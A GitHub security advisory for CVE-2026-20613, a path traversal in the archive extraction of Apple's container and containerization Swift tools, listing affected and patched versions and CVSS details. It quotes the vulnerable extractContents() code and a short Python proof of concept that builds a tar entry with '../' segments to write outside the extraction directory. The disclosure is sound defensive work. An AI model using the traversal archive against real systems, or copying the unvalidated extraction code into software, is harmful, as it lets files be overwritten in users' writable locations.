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Container and Containerization archive extraction does not guard against escapes from extraction base directory.

Low severity GitHub Reviewed Published Jan 22, 2026 in apple/containerization • Updated Jan 22, 2026

Package

swift github.com/apple/container (Swift)

Affected versions

<= 0.7.1

Patched versions

0.8.0
swift github.com/apple/containerization (Swift)
<= 0.20.1
0.21.0

Description

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

References

@madrob madrob published to apple/containerization Jan 22, 2026
Published to the GitHub Advisory Database Jan 22, 2026
Reviewed Jan 22, 2026
Last updated Jan 22, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-20613

GHSA ID

GHSA-cq3j-qj2h-6rv3

Source code

Credits

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